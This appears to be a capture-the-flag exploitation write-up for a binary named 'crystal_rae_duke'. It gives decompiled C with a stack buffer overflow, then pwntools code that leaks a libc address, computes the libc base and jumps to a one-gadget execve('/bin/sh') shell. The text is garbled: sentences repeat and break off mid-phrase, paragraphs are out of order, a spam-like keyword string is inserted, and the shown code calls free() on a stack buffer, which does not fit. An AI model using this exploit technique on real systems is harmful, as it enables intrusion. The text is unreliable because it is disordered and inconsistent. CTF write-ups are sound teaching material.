The challenge description includes the word “free” which is a hint that the free function is central to the exploit (the overflow occurs in the read that feeds free). There is no additional privilege‑escalation required – the one‑gadget gives us a full user‑level shell.
If the remote box runs the service inside a restricted container (no network, limited filesystem), you can still read the flag file because it resides in the same directory (/home/ctf/flag.txt). After obtaining a shell:
cat flag.txt
objdump -d crystal_rae_duke shows the usual __libc_start_main wrapper and then a main function that:
int main(void)
setbuf(stdout, NULL);
puts("Welcome to the Crystal Rae Duke philanthropic service!");
while (1)
puts("What would you like to donate? (max 64 bytes)");
char buf[64];
read(0, buf, 96); // <-- BUG: reads 96 bytes into a 64‑byte buffer
if (strncmp(buf, "free", 4) == 0)
free(buf);
puts("Thanks for your generosity!");
else
puts("Your donation has been recorded.");
Key vulnerability: read(0, buf, 96) writes up to 96 bytes into a 64‑byte stack buffer → stack‑based buffer overflow. Because a canary is present, we must first leak it. bluepillmen 160318 crystal rae duke the philanthropist free
With the canary known we can safely overwrite the saved RBP and RIP after the canary check.
After receiving the leaked puts address, we compute the libc base using the known offset (from the provided libc6_2.23-0ubuntu11_amd64.so). The challenge description includes the word “free” which
libc = ELF('libc6_2.23-0ubuntu11_amd64.so')
puts_addr = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f'libc base: hex(libc_base)')
With the base, we can pick a one‑gadget (execve("/bin/sh",NULL,NULL)) that works under our constraints (no stack pivot needed). For this libc version the suitable gadget is at offset 0x45216 (no null bytes, RSP alignment required).
one_gadget = libc_base + 0x45216
The “free” in the title hints that the challenge can be solved without any external binaries or libraries – everything needed is already present on the target box. Key vulnerability: read(0, buf, 96) writes up to